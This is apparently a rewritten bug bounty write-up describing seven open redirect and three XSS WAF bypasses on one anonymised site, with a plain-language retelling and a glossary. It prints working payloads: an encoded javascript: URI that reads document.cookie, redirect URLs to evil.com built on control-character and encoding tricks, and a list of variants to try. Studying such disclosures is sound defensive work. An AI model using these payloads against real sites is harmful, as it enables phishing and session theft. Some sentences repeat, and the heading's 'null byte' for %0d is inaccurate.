Discovering 7 Open Redirect Bypasses and 3 XSS Bypasses Within a Single Program Using the Same Parameters
Several parameters on the site's login, profile and verification pages accepted attacker-controlled values that were used in redirects and in script execution without adequate filtering. An attacker could craft links that send victims to an external site or run script in the site's context, though the author only shows that the payloads were accepted, not that they executed.
Published on 0xm5awy.medium.com
Bug Bounty
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up covers a private bug bounty program on HackerOne. The researcher, Mohamed Anani (@0xM5awy), found 7 open redirects and 3 XSS WAF bypasses in a single program, all reached through the same set of parameters. The cycle was repetitive: a vulnerability was reported, the program fixed it promptly and paid out, and the researcher then bypassed the fix and reported again, until the count reached 7 open redirects and 3 XSS WAF bypasses.
The features involved are the ones that take a URL or a return path from the request and act on it later: an external link handler (/link/out), a login page (/login), a profile completion page (/complete-profile), a verification notification page (/verify/notification), and API endpoints for key registration and magic links (/verify/key/register, /verify/key/magic-link). The parameters that carry the user-controlled value are ext, lastUrl, r and i. The hostnames in the report are anonymised as 0xm5awy.com and api.0xm5awy.com.
Setup
No accounts, roles, tools or versions are described. The work was done against a private HackerOne program, and the only precondition visible in the report is that the application sits behind a WAF that inspects the parameters above.
Finding it
The starting point was the observation that the application reflects or acts on a URL-shaped parameter (ext, lastUrl, r) and that a WAF sits in front of it. The researcher's approach was to keep the same parameters and change the encoding or the shape of the value, first to get script execution past the WAF, then to get a redirect past whatever filter the fix introduced. Each fix narrowed the filter, and each narrowing suggested the next bypass.
Exploitation
Part 1: bypassing the WAF to execute XSS
The payload used throughout the XSS part is:
javascript%3Avar%7Ba%3Aonerror%7D%3D%7Ba%3Aalert%7D%3Bthrow%2520document.cookie
This is a javascript: URI whose colon is percent-encoded as %3A. The rest is a destructuring assignment that binds a to alert through the onerror property of an object literal, followed by throw and a double-encoded space (%2520) before document.cookie. The payload is a javascript: URI with the colon percent-encoded and the space double-encoded.
1. XSS bypass via external link
https://www.0xm5awy.com/link/out?ext=payload
The ext parameter of the outbound link handler takes the payload. The ext parameter of the outbound link handler takes the payload, which the report describes as an attempt to bypass the WAF.
2. XSS bypass through the login page
https://www.0xm5awy.com/login?lastUrl=payload
The lastUrl parameter is manipulated to include the payload, aiming to trick the WAF.
3. XSS bypass via the complete profile page
https://www.0xm5awy.com/complete-profile?r=payload
The r parameter can be manipulated to smuggle the payload past the WAF.
Part 2: bypassing filters in redirection attacks
1. No filter
https://www.0xm5awy.com/login?lastUrl=https://www.evil.com
An arbitrary external domain in lastUrl is redirected without any problem.
2. Bypass the filter check using a domain name
https://www.0xm5awy.com/login?lastUrl=https://attacker-0xm5awy.com
The report says attackers may use subdomains to appear legitimate while bypassing domain name checks.
3. Bypass the filter if it only allows you to control the path, using a null byte (1)
https://www.0xm5awy.com/login?lastUrl=/%0d/evil.com
The report says incorporating %0d in URLs can confuse a filter that only allows control of the path.
4. Bypass the filter if it only allows you to control the path (2)
https://www.0xm5awy.com/verify/notification?r=/%0d/evil.com
The same %0d value is used with r on /verify/notification.
5. Bypass the filter if it only checks for a domain name using a dot
https://www.0xm5awy.com/verify/notification?i=&r=/%0D/evil%25%32%65com
Here the dot in evil.com is double-encoded: %25%32%65 decodes once to %2e, which decodes to .. The report says character encoding can be manipulated to bypass filters that check for a dot. The i parameter is sent empty alongside r.
6. Domain substitution
https://api.0xm5awy.com/verify/key/register?i=&r=-evil.com
The report says appending a hyphen can trick filters into allowing potentially malicious domains. The endpoint is on the API host and the parameter is again r, with i empty.
7. Bypassing using a dot in the domain
https://api.0xm5awy.com/verify/key/magic-link?i==&r=.evil.com
The report says a dot is used to obscure malicious intent and bypass security checks. The request goes to the magic link endpoint on the API host, with i set to = and r carrying the value.
Root cause
The XSS cases come from the application accepting a javascript: URI in parameters that are later used as navigation targets (ext, lastUrl, r), while the WAF's detection does not cover the encoded form of the scheme and the double-encoded space. The redirect cases come from validating the redirect target by pattern rather than by parsing it: a substring match on the domain name, a check restricted to the path, a check for a literal dot, and checks that a leading hyphen or a leading dot slips past. In each case the filter inspects the raw or partially decoded string, while the code that performs the redirect resolves it differently, so the two disagree about where the value points. The report does not show the server-side code, so the exact implementation is likely as described rather than confirmed.
Impact
The payload includes document.cookie, which would read the victim's cookies if the script executed. The open redirects let an attacker craft links on the legitimate domain that send users to another site. Both depend on the victim following a crafted URL. The report does not state which users or roles were affected beyond that, nor any bounty amounts.
Fix
A robust fix would parse the value, resolve it to an absolute URL, compare the resulting host against an allowlist, and refuse any scheme other than http and https.
Variants to test
- Substring domain match. Send
lastUrl=https://attacker-<legit-domain>and look for a redirect to the attacker host. A positive result is aLocationheader pointing at the attacker domain. - Path-only control with control characters. Send
lastUrl=/%0d/evil.comand variants with%0a,%09and%00. A positive result is a redirect toevil.com. - Dot check with double encoding. Send
r=/%0D/evil%25%32%65comand other encodings of the dot (%2e,%252e). A positive result is a redirect toevil.comafter decoding. - Prefix characters. Send
r=-evil.comandr=.evil.com, plus other leading characters such as@,\\and%2f. A positive result is a redirect to the attacker host. - Scheme smuggling in navigation parameters. Send the
javascript%3A...payload inext,lastUrlandr, and vary the encoding of the colon and the space. A positive result is script execution in the page context, for example analertor a cookie read.
What happened, in plain words
A security researcher spent time on a private bug bounty program, which is a scheme where a company invites selected testers to look for weaknesses in its website and pays them for what they find. Over several rounds he found seven open redirects and three XSS WAF bypasses in that one program. All ten used the same handful of URL parameters, which are the little name=value pairs you see after the ? in a web address.
The rhythm of the work was simple. He reported a problem, the company fixed it quickly and paid him, he found a way around the fix, and he reported again. That loop repeated until the count reached seven redirects and three XSS bypasses. This article walks through each one in the order he presented them, starting with the XSS bypasses and then the redirect bypasses.
Before the details, three ideas you need:
- A URL parameter is a piece of information attached to the end of a web address. In
https://example.com/login?lastUrl=/home, the parameter is calledlastUrland its value is/home. Websites use them to remember where you came from, what you searched for, and so on. - A WAF (Web Application Firewall) is a filter that sits in front of a website and inspects incoming requests, blocking ones that look like known attacks. Think of it as a bouncer at a door who checks a list of banned phrases before letting anyone in.
- A filter in this article means a check inside the website itself, usually added after a fix, that tries to stop dangerous values from being used. The WAF is one kind of filter; the redirect checks are another.
The features involved are ordinary ones you have used: a page that sends you to an external link (/link/out), a login page (/login), a page that asks you to finish your profile (/complete-profile), a verification notification page (/verify/notification), and two API endpoints for registering a key and for sending a magic link (/verify/key/register, /verify/key/magic-link). An API is the part of a website that other software talks to, rather than a page a person clicks; it takes a request and returns data or performs an action. A magic link is a login link sent by email that signs you in without a password.
The parameters carrying the user-controlled value are ext, lastUrl, r and i. The hostnames in the report are anonymised as 0xm5awy.com and api.0xm5awy.com, so treat them as stand-ins for the real site.
No accounts, tools or software versions are described. The only precondition visible is that the application sits behind a WAF that inspects those parameters.
How the search started
The starting observation was that the application takes a URL-shaped value from a parameter (ext, lastUrl or r) and later acts on it, and that a WAF stands in front of it. The approach was to keep the same parameters and change only the encoding or the shape of the value: first to get a script past the WAF, then to get a redirect past whatever check the fix introduced. Each fix narrowed the filter, and each narrowing hinted at the next way around it.
Part 1: getting a script past the WAF
XSS means a website takes something a visitor supplies and later puts it into a page in a way that makes the browser treat it as code. The payload is a javascript: URI, a link whose target is a script rather than a page.
The payload used throughout this part is:
javascript%3Avar%7Ba%3Aonerror%7D%3D%7Ba%3Aalert%7D%3Bthrow%2520document.cookie
Line by line, in plain words:
javascript%3Ais the wordjavascript:with the colon written as%3A. Percent-encoding is how a URL carries characters that would otherwise be special;%3Ais simply the colon. The browser decodes it back tojavascript:and knows the value is a script rather than a normal web address.var%7Ba%3Aonerror%7D%3D%7Ba%3Aalert%7Ddecodes tovar{a:onerror}={a:alert}. This is a compact piece of JavaScript that creates an object whoseonerrorproperty is the browser'salertfunction. It creates an object whoseonerrorproperty is the browser'salertfunction.%3Bis the semicolon;, which separates one instruction from the next.throwis a JavaScript keyword that raises an error on purpose.%2520is a space encoded twice:%25is the percent sign, so%2520decodes once to%20, and%20decodes to a space.%2520is a space encoded twice: it decodes once to%20, and%20decodes to a space.document.cookieis the browser's store of cookies for the current site. A cookie is a small piece of data a site asks your browser to keep and send back with every request, and it is often how a site remembers that you are logged in. Reading it is how an attacker would steal a session.
So the whole payload is a javascript: link that grabs the alert function, throws an error, and reads document.cookie. The javascript: scheme is what turns the value into script when it is later used as a URL.
1. XSS bypass via external link
https://www.0xm5awy.com/link/out?ext=payload
The ext parameter of the outbound link handler takes the payload. The ext parameter of the outbound link handler takes the payload, which the report describes as an attempt to bypass the WAF. The step was taken because a page whose whole job is to forward you somewhere is a natural place to try a value that the browser will treat as a script.
2. XSS bypass through the login page
https://www.0xm5awy.com/login?lastUrl=payload
The lastUrl parameter normally holds the page to return to after login. The lastUrl parameter is manipulated to include the payload, aiming to trick the WAF. The reasoning is the same: a parameter that stores a destination is a parameter that may later be used as a link.
3. XSS bypass via the complete profile page
https://www.0xm5awy.com/complete-profile?r=payload
The r parameter can be manipulated to smuggle the payload past the WAF. Trying a third page with a third parameter shows the weakness is in the shared handling, not in one page.
Part 2: getting a redirect past the filters
A redirect is when a website answers your request by telling the browser "go to this other address instead". An open redirect is when the site will send you to any address an attacker chooses, usually by putting that address in a parameter. Attackers use it for phishing: the link starts on the trusted domain, so it looks safe, and only then bounces to the attacker's site.
1. No filter
https://www.0xm5awy.com/login?lastUrl=https://www.evil.com
An arbitrary external domain in lastUrl is redirected without any problem. This is the baseline: before any fix, there was nothing stopping the value from pointing anywhere.
2. Bypass the filter check using a domain name
https://www.0xm5awy.com/login?lastUrl=https://attacker-0xm5awy.com
The report says attackers may use subdomains to appear legitimate while bypassing domain name checks. The lesson is that "contains the right name" is not the same as "is the right site".
3. Bypass the filter if it only allows you to control the path, using a null byte (1)
https://www.0xm5awy.com/login?lastUrl=/%0d/evil.com
The report says incorporating %0d in URLs can confuse a filter that only allows control of the path. %0d is a control character, not something you would type in a normal address; filters often mishandle it.
4. Bypass the filter if it only allows you to control the path (2)
https://www.0xm5awy.com/verify/notification?r=/%0d/evil.com
The same %0d value is used with r on /verify/notification.
5. Bypass the filter if it only checks for a domain name using a dot
https://www.0xm5awy.com/verify/notification?i=&r=/%0D/evil%25%32%65com
Here the dot in evil.com is double-encoded: %25%32%65 decodes once to %2e, which decodes to .. The report says character encoding can be manipulated to bypass filters that check for a dot. The i parameter is sent empty alongside r.
6. Domain substitution
https://api.0xm5awy.com/verify/key/register?i=&r=-evil.com
The report says appending a hyphen can trick filters into allowing potentially malicious domains. The endpoint is on the API host and the parameter is again r, with i empty.
7. Bypassing using a dot in the domain
https://api.0xm5awy.com/verify/key/magic-link?i==&r=.evil.com
The report says a dot is used to obscure malicious intent and bypass security checks. The request goes to the magic link endpoint on the API host, with i set to = and r carrying the value.
Why it worked
The XSS cases come from the application accepting a javascript: URI in parameters that are later used as navigation targets (ext, lastUrl, r), while the WAF's detection does not cover the encoded form of the scheme and the double-encoded space. The redirect cases come from validating the redirect target by pattern rather than by parsing it: a substring match on the domain name, a check restricted to the path, a check for a literal dot, and checks that a leading hyphen or a leading dot slips past. In each case the filter inspects the raw or partially decoded string, while the code that performs the redirect resolves it differently, so the two disagree about where the value points. The report does not show the server-side code, so the exact implementation is likely as described rather than confirmed.
What an attacker could do with it
The payload includes document.cookie, which would read the victim's cookies if the script executed. The open redirects let an attacker craft links on the legitimate domain that send users to another site. Both depend on the victim following a crafted URL. The report does not state which users or roles were affected beyond that, nor any bounty amounts.
How it should have been fixed
A robust fix would parse the value, resolve it to an absolute URL, compare the resulting host against an allowlist, and refuse any scheme other than http and https.
Variants worth testing
- Substring domain match. Send
lastUrl=https://attacker-<legit-domain>and look for a redirect to the attacker host. A positive result is aLocationheader pointing at the attacker domain. TheLocationheader is the part of the server's reply that tells the browser where to go next. - Path-only control with control characters. Send
lastUrl=/%0d/evil.comand variants with%0a,%09and%00. A positive result is a redirect toevil.com. - Dot check with double encoding. Send
r=/%0D/evil%25%32%65comand other encodings of the dot (%2e,%252e). A positive result is a redirect toevil.comafter decoding. - Prefix characters. Send
r=-evil.comandr=.evil.com, plus other leading characters such as@,\\and%2f. A positive result is a redirect to the attacker host. - Scheme smuggling in navigation parameters. Send the
javascript%3A...payload inext,lastUrlandr, and vary the encoding of the colon and the space. A positive result is script execution in the page context, for example analertor a cookie read.
Glossary
- API: the part of a website that other software talks to, taking requests and returning data or performing actions, rather than showing pages to a person.
- Allowlist: a list of things that are explicitly permitted; anything not on the list is refused.
- Bypass: a way of getting past a security check that is supposed to stop you.
- Cookie: a small piece of data a site asks your browser to store and send back with later requests, often used to remember that you are logged in.
- Cross-site scripting (XSS): a weakness where a site puts something a visitor supplied into a page in a way that makes the browser run it as code.
- Double encoding: encoding a value twice, so that one round of decoding still leaves encoded characters behind.
- Filter: a check that inspects a value and tries to block dangerous ones.
- Hostname: the part of a web address that names the server, such as
www.0xm5awy.com. javascript:URI: a link whose target is a small script rather than a web page; the browser runs the script when the link is followed.- Magic link: a login link sent by email that signs you in without a password.
- Open redirect: a weakness where a site will send a visitor to any address an attacker chooses, usually through a parameter.
- Parameter: a
name=valuepair attached to a web address after the?, used to pass information to the site. - Payload: the value an attacker sends to try to trigger a weakness.
- Percent-encoding: writing special characters in a URL as
%followed by two hexadecimal digits, such as%3Afor a colon. - Phishing: tricking someone into following a link or giving information by making the request look trustworthy.
- Redirect: a reply from a site telling the browser to go to a different address instead.
- Session: the period during which a site remembers who you are, usually carried by a cookie.
- Substring match: checking whether one piece of text appears anywhere inside another, rather than checking that the whole thing is equal.
- WAF (Web Application Firewall): a filter in front of a website that inspects incoming requests and blocks ones that look like known attacks.